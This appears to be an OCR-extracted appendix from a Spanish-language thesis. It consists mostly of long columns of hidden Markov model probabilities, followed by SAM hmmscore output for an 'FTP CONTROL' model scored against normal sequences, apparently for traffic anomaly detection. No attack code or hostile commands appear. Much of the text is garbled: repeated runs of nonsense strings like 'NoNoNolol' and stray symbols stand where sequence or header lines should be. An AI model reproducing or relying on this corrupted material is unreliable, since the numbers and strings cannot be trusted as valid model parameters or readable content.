.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000018
.000003
.000001
.000002
.000001

oloNeoNoNeoNoNolololololoNoNololNoloNoNoNoNoNoNoNoNololNoBoNoBolNoloNolNoNololNelNolNolNo)

O O O O o

.001492

.000011
.000003
.000001
.000001
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000002
.000002
.000003
.000003
.000009
.000962
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000011
.000003
.000002
.000001
.000001
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cNoNeoNoNoNoNoNoNololololNoNoNoNoNoBololNoloNoNoNoNoNoNololololNoNolNolNolNo]

cNoNoNoloRolNoNoNoNoNoNoNololololNolNe)

.000001
.000000
.000001
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000004
.000012
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

39

.450265
.486585
.062714
.994088
.000008
.000003
.000002
.000001
.000001
.000000
.000001
.000001
.000000
.000001
.000001
.000001
.000000
.000001

cNoNeoNoNoNoNoNoNololololoNoNoNoNolololololNoNoNoNoNoNolololololNolNolNolNo]

lecNeoNoNoloRolNolNoNoNoNoNoNololololNolNe)

.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000003
.000013
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003667
.981870
.015056
.000942
.000009
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001

cNoNeoNoNoNoNoNoNololololNoNoNoNoNolololololNoNoNoNoNoNololololNoNolNolNolNo]

lecNeoNoNoloRolNoNoNoNoNoNoNololololNolNe)

.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000004
.000020
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.044826
.495423
.459223
.000067
.000010
.000002
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000001

cNoNeoNoNoNoNoNoNololololNoNoNoNoNoBololNololNoNoNoNoNolNololololNoNolNolNolNo]

eoNoNoNoloRololNoNoNoNolololNolNe]

.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000002
.000002
.000003
.000006
.000546
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000019
.000003
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000001
.000001
.000001

cloNeoNoNoNoNoNoNololololoNoNoNoNolololNololNoNoNoNoNolNololololNoNolNolNolNo]

eoNoNoNoloRololNoNoNoNolololNolNe]

.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000002
.000002
.000003
.000003
.000009
.016716
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000011
.000003
.000002
.000001
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000002
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oNeoNoNoNoNoNoNoNoBoloholNoNoNoNolNoNololNololNololNelo]

oloNeoNoNoNoNoNolNoholoNolBoNoBoNololNololNolNolololNeolololNolNo]

.000001
.000002
.000003
.000004
.000012
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

40

.454784
.482502
.062421
.989136
.000008
.000003
.000002
.000001
.000001
.000000
.000001
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000004
.000013
.994458
.000021
.000008
.000003
.000001

oNeoNoNoNoNoNoNoNoBoloBolNoNoNoNolNoNololNololololNelo]

oloNeoNoNoNoNoNolNooBoNolBoNoBoNololNololNolNolNololNolololNolNo]

.000001
.000002
.000003
.000003
.000014
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003683
.981261
.014471
.002575
.000010
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000002
.000003
.000003
.000014
.001984
.000029
.000003
.000001
.000001

oNeoNoNoNoNoNoNoNoBoloBolNoNoNoNolNoNololNololololNelNo]

oloNeoNoNoNoNoNololoBoNolBoNoBoNololNolololNolololNeolololNolNo]

.000002
.000002
.000003
.000005
.000020
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.044793
.495984
.460721
.000067
.000012
.000002
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000001
.000002
.000002
.000003
.000005
.000020
.000994
.000028
.000003
.000003
.000001

oNeoNoNoNoNoNoNoNoBoloBolNoNoNoNolNoNololNololNololNelo]

[eoNoNoNoNoNoNolololoNoloNololNololNolNoNolNolNelNolNolNe]

.000002
.000002
.000003
.000006
.000307
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000020
.000003
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000002
.000002
.000003
.000006
.000308
.000107
.000005
.000001
.000003
.000002

oNeoNoNoNoNoNoNoNoBoloBolNoNoNoNoNoNololNololololNelo]

[eoNoNoNoNoNoNolololoNoloNoloNololNolNoNolNolNelNolNelNe]

.000002
.000003
.000003
.000010
.004372
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000011
.000003
.000002
.000001
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000002
.000002
.000003
.000003
.000010
.007681
.000040
.000004
.000002
.000002
.000001
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cNeoNeoNoNoNoNoNoNololNolololNolNo

eoNeoNoNoloRolNoNoNoNoNoloNolololNoNoNoNoNoloBololNolNoNoNoNoNolololNolNolNolNolNolNolNo]

.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

41

.456113
.481466
.062471
.978334
.000009
.000003
.000002
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000004
.000013
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001

cNeoNeoNoNoNoNoNoNololNolololNolNo

eoNeoNoNoloRoNoNoNoNoNololNolololoNoNoNoNoloBololNolNoNoNoNoNololNololNolNolNolNolNolNo]

.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003626
.981903
.014813
.000138
.000010
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000002
.000003
.000003
.000014
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001

cNeoNeoNoNoNoNoNoNololNolololNolNo

oNoNoNoloRoNoNoNoNoNoNoNolololoNoNoNoNoloBololNolNoNoNoNoNololNololNolNolNolNolNolN o]

.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.044929
.494350
.460358
.000069
.000014
.000002
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000002
.000003
.000005
.000020
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001

cNeoNeoNoNoNoNoNoNolololololNolNo

cNeoNoNoloRololNoNoNoNoNoNolololNoNoNoNoNoNoBololNolNolNoNoNoNolNololNolNolNolNo)

.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000021
.000003
.000001
.000002
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000002
.000002
.000003
.000007
.000213
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001

cNeoNeoNoNoNoNoNoNolololololNolNo

lcNeoNoNoloRololNoNoNoNoNoNoBololoNoNoNoNoNoBololNolNoNoNolNoNolNololNolNoNolNo)

.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000012
.000003
.000002
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000003
.000003
.000010
.021004
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
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eNoNoNoBoNoNoNololoBoNoloNoBoNololNoNolNoNoloNololNoloNoloNooNeololNolNolNoNolNolNolNoleololNolNe) O O O oo

O O O o

.000002
.000002
.000003
.000005
.000016

42

.456535
.480994
.062348
.993337
.000009
.000004
.000002
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000004
.000014
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

43

.456694
.480957
.062476
.984855

eNoNeoNoBoNoNoNolololoNololNoBoNololNoNolNoNoloNololNoloNoloNoBoNeololNolNolNolNolNolNolNoleololNolNe) O O O oo

O O O o

.000001
.000003
.000003
.000004
.000020

.003598
.981589
.016710
.000128
.000011
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000002
.000003
.000003
.000015
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003557
.979734
.015930
.000251

eNoNeoNoBoNoNoNololoBoNolBoNoBoNololNoNolNoNoloNoNolNoloNololNoBoNeoloNololNoNolNolNolNolololNolNe) O O O oo

O O O o

.000002
.000003
.000003
.000006
.000040

.044608
.495034
.457309
.001365
.000014
.000002
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000002
.000003
.000005
.000021
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.044266
.498425
.459430
.000081

O O O oo

[cloNeoNoNoNoloNoNooBoNoloNoloNololNoNoNoNoloNolNoloRolNolBoNoBoNeololNololNololNeololNolNeo]

.000003
.000002
.000003
.000009
.000609

.000022
.000003
.000001
.000002
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000002
.000002
.000003
.000007
.000197
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000024

.000003
.000004
.000003
.000012
.001492

O O O oo

.000012
.000003
.000002
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000003
.000003
.000011
.004719
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

[cNoNeoNoNoNoNoNoNoooNololNoBoNoloNoNoNoNoloNolNoloRolNolBoNoBoNeololNololNololNolNolNolNeo]

0.000013
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oo oNoNoNoNoNoNoNolololoNolNoNoNoNololololNoNoNoNoNoNoloRololoNoNoNoNolNolololNe)

[eNeoNoNoNoRolNoloNolNoNolNolNolNo]

.000010
.000004
.000002
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000005
.000014
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

44

.456142
.481383
.062527
.994958
.000011
.000004
.000002
.000001
.000002
.000000
.000001
.000001
.000001
.000001

oo oNoNoNoNoNoNoNolololoNolNoNoNoNololololNoNoNoNoNoNoloRololNoNoNoNoNolNolololNe)

[eNeoNoNolNoRolNoloNolNoNolNolNolNe]

.000011
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000002
.000003
.000004
.000016
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003459
.980611
.016715
.002504
.000013
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001

oo oNoNoNoNoNoNoNolololoNolNoNoNoNololololNoNoNoNoNoNoloRololoNoNoNoNolNolololNe)

[eNeoNoNolNoRolNoloNolNoNolNolNolNe]

.000011
.000002
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000005
.000021
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.044046
.496524
.458898
.000083
.000012
.000002
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001

oo oNoNoNoNoNoNoNololNololNolNoNoNoNolololoNoNoNoNoNoNoloRololoNoNoNoNolNolololNe)

loNoNoNololRoloNolNolNolNo]

.000004
.000001
.000002
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000007
.000117
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000026
.000004
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001

cNeoBoNoNoNoNoNoNoNololNoloNolNoNoNoNolololoNoNoNoNoNoNoloRololoNoNoNoNolNolololNe)

loNoNoNeololRoloNolNolNolNo]

.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000011
.014431
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000015
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
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eoNeoNoNoNoNoNoBoNoholNoBoNololNoNolNoNoloNolNoNololNololNololNelo)

[cloNoNoNoNoNoNolololoNololNolNololololololNolelNeNe]

.000001
.000001
.000000
.000001
.000001
.000002
.000004
.000005
.000015
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

45

.457049
.480423
.062582
.996496
.000012
.000005
.000003
.000001
.000002
.000001
.000001
.000001
.000001
.002153
.000001
.000001
.000000
.000001
.000002
.000002
.000004
.000005
.000016
.994458

eoNeoNoNoNoNoNoBoNoBolNoBoNololNolNoNoNoloNolNoNololNololNololNelNo)

[cloNeoNoNBoNoNoNolololoNololNolNololololololNolelNeNe]

.000000
.000001
.000001
.000002
.000001
.000003
.000003
.000004
.000016
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003452
.979833
.016909
.000241
.000015
.000003
.000001
.000001
.000001
.000001
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000001
.000003
.000003
.000004
.000112
.001984

eoNeoNoNoNoNoNoRoNoBoNoBoNololNolNolNoNoloNolNoNololNololNololNolo)

[cloNeoNoBoNoNoNolololoNololNolololololololNoleleNe]

.000001
.000000
.000001
.000001
.000003
.000003
.000003
.000006
.000022
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.043639
.497463
.459211
.000097
.000013
.000002
.000003
.000002
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000003
.000003
.000003
.000006
.000022
.000994

eoNeoNoNoNoNoNoRoNoBoNoBoNoloNoNolNoNoloNolNoNololNololNololNelo)

[eNoNoNoNoNoNeoNolNoholNolNololNolBolNololNololNelo

.000001
.000001
.000001
.000001
.000003
.000002
.000004
.000007
.000090
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000030
.000004
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000004
.000008
.000073
.000107

ocNeoNoNoNoNoNoRoNoBoNoBoNololNoNolNoNoloNolNoNololNololNololNelo)

[eoNoNoNoNoNeoNolNoholNoNololNololNololNololNelo]

.000001
.000000
.000001
.000002
.000003
.000004
.000004
.000012
.002078
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000017
.000005
.000003
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000004
.000013
.000533
.000040
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cleolololNoNoNoNoNoNoNolololNololNolNolNolNo]

leNeoNoNoNoRooNoNoNoNoNoNolololoNoNoNoNoNolololNololoNoNoNolNololNolNolNe)

.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

46

.456736
.480682
.062774
.989537
.000015
.000006
.000003
.000002
.002218
.000001
.000002
.003804
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000004
.000006
.000031
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001

cleolololNoNoNoNoNoNoNolololNololNolNolNolNo]

leNeoNoNoNoRoBoNoNoNoNoNoNololololNoNoNoNoNolololNololoNoNoNolNololNolNelNe)

.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003374
.979717
.015012
.003696
.000018
.000004
.000002
.000002
.000002
.000001
.000002
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000002
.000003
.000004
.000004
.000018
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001

cleolololNoNoNoNoNoNoNololoNololNolNolNolNo]

leNeoNoNoNoRoNoNoNoNoNoNoNoloholoNoNoNoNoNolololNololoNoNoNolNololNolNolNe)

.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.042772
.498017
.462833
.000117
.000016
.000003
.000004
.000002
.000001
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000003
.000003
.000004
.000007
.000033
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001

cleolololNoNoNoNoNoNoNolololNololNolNolNolNo]

eNeoNoNoloRoloNoNoNoNoNoNololBolNoNoNoNoNololololNolNoNoNolNolNololNe]

.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000036
.000005
.000001
.000004
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000004
.000076
.000086
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001

cleolololNoNoNoNoNoNoNolNololNololNolNolNolNo]

cNeoNoNeoloRoloNoNoNoNoNoNoBolBolNoNoNoNoNolololololNoNoNolNolNolNolNe]

.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000020
.000006
.000003
.000003
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000004
.000014
.000103
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
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O O OO OO oOo oo

eNoNoNoBoNoBoNololololNololNoBoNoNoNoNoNoNolBoNoloNoloNolololoNeolNoNoNolNoNolNolololololNelNo)

.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

47

.454397
.482829
.063429
.976117
.000019
.000008
.000004
.000002
.000003
.000001
.000002
.000001
.002318
.000002
.000001
.000001
.000000
.000001
.003415
.000003
.000004
.000006
.000021
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

48

O O OO OO Oo oo

eNoNoNoBoNoBolNolololoNololNoBoNoNoNoNoNoNolBoNoloNoloNolololoNeolNoNoNoNoNoNolololololNelNo)

.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.002993
.981994
.012664
.006918
.000023
.000005
.000002
.000002
.000002
.000001
.000002
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000002
.003317
.003854
.000005
.000026
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

O O OO OO Oo oo

eNoNoNoBoNoBoNolololoNololNoBoNoNoNoNoNoNoBoNololNoloNolololoNeoNoNoNoNolNoNolololololNelNo)

.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.041064
.496102
.467908
.000125
.000021
.000004
.000005
.000002
.000001
.000000
.000002
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000003
.000004
.003411
.000008
.000025
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

O O OO OO Oo oo

[cNoNoNoNoNolBoNolBololoNololololNoNoNoNoNoNoloNololololNololNoBoNololNolNoNolNoNolololNe]

.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000050
.000007
.000002
.000004
.000004
.000001
.000001
.000001
.000001
.000002
.000001
.000001
.000001
.000001
.000001
.000003
.000014
.000004
.000009
.000040
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

O O OO OO Oo oo

[cNoNeoNoNoNolBoNolololoNololNoloNoNoNoNoNoNoloNololNoRolNololNoBoNoloNolNolNolNolNolololNeo]

.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000025
.000007
.000004
.000004
.000002
.000001
.000001
.000001
.000002
.000001
.000000
.000001
.000000
.000001
.000003
.000004
.000005
.000004
.000023
.000050
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492
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.447283
.489288
.057072
.009975
.061005
.031262
.024153
.011305
.021025
.006556
.014435
.008726
.002907
.008403
.000001
.000001
.000001
.000001
.000002
.000003
.000005
.000006
.000019
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016
nd

.000000
.483330
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

cNoNoNoNoNoNoNoNoNoRluNeoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNolNoNoNoNoNe)

cNeoNoBoNoNoNoNoNolololoBoNoNoNoNoNolololoNoNoNoNoloNolololoNoNoNoNoNolololNololNolNolNolNo]

eoNeoNoNeolNolRolNolNoNolNo)

.002184
.985152
.004382
.022525
.022093
.029630
.015422
.015051
.012176
.014961
.020560
.009265
.000001
.000001
.000001
.000001
.000002
.000002
.000002
.000003
.000004
.000005
.000020
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.000000
.740031
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

cNeoBoBoNoNoNoNoNololololoNoNoNoNoNolololNoNoNoNoNoloNolololoNoNoNoNoNolololNololNolNolNolNo]

eoNeoNoNeolNolRolNolNoNolNo)

.037063
.495029
.491761
.069769
.048059
.023916
.043161
.019776
.005323
.002246
.015349
.002738
.003021
.000001
.000001
.000001
.000001
.000002
.000003
.000004
.000004
.000007
.000025
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.000000
.046254
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

oNeoloBoNoNoNoNoNololololoNoNoNoNoNoNoBoloNoNoNoNoNoNolololoNoNoNoNoNoNoloNolNelNol

OO OO O oo

.060532
.020762
.011864
.035531
.028625
.007771
.008695
.014598
.002900
.007427
.000001
.007714
.000001
.000001
.000001
.000004
.000003
.000005
.000009
.000055
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000000
.000000
.000000
.000000
.000000
.000000
.000000

oNeoloBoNoNoNoNoNoloBololoNoNoNoNoNoNoBoloNoNoNoNoNoNololBoloNoNoNoNoNoNoloNolNelNol

OO OO O oo

.040233
.031359
.039039
.026889
.012993
.010609
.011228
.004765
.017044
.004272
.000001
.000001
.000000
.000002
.000003
.000004
.000005
.000005
.000016
.000111
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000000
.000000
.000000
.000000
.000000
.000000
.000000
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0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.00000O
0.000000 0.000000 0.000000 0.000000 0.000000

ENDMODEL
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7.5. ANEXO E. ARCHIVOS DE PUNTUACION SAM

7.5.1. MODELO FTP CONTROL

SAM: hmmscore v3.5 (July 15, 2005) compiled 07/19/05 11:12:12
(c) 1992-2001 Regents of the University of California, Santa Cruz

o o° oP

oe

Sequence Alignment and Modeling Software System
http://www.cse.ucsc.edu/research/compbio/sam.html

o0 o

o°

————————————————— Citations (SAM, SAM-T2K, HMMs) —-—-—-—————————————————
R. Hughey, A. Krogh, Hidden Markov models for sequence analysis:
Extension and analysis of the basic method, CABIOS 12:95-107, 1996.
K. Karplus, et al., What is the value added by human intervention in protein
structure prediction, Proteins: Stucture, Function, Genetics 45(S5):86--91,
001.
A. Krogh et al., Hidden Markov models in computational biology:
Applications to protein modeling, JMB 235:1501-1531, Feb 1994.
normFTPCTRL Host: Sheut Sat Sep 26 23:19:41 2009
edsheut Dir: /home/edsheut/TEST

Inserted Files: FTPCTRL.mod

o© oo

o\

oC o0 o A o° o N o

o\

% Database Files: normales.seq
% Subsequence-submodel (local) (SW = 2)
% Simple scores adjusted by +1.5*1n(seq len) (adjust score = 2)

o\

Track 0 FIMs added (geometric mean of match probabilities (6))
Single Track Model: FTPCTRL.mod
Average encoding costs (nats) for (tau, lambda) settings:

o\

o°

)
% Original (1.0000, 1.0000): 2.2202
% Calibrated (1.2707, 1.0819): 3.6155
